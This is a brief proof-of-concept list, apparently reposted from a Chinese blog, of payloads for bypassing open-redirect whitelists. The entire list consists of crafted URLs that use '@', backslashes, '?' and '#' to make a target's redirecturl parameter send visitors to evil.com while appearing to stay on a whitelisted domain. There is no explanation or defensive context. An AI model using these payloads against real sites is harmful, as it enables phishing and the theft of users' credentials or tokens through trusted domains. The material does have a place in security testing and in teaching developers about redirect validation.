POC
"@"
http://www.target.com/redirecturl=http://whitelist.com@evil.com
"\"
http://www.target.com/redirecturl=http://evil.com\a.whitelist.com
"\\"
http://www.target.com/redirecturl=http://evil.com\\a.whitelist.com
"?"
http://www.target.com/redirecturl=http://evil.com?a.whitelist.com
"#"
http://www.target.com/redirecturl=http://evil.com#a.whitelist.com
转载于:https://www.cnblogs.com/Mrsm1th/p/8718867.html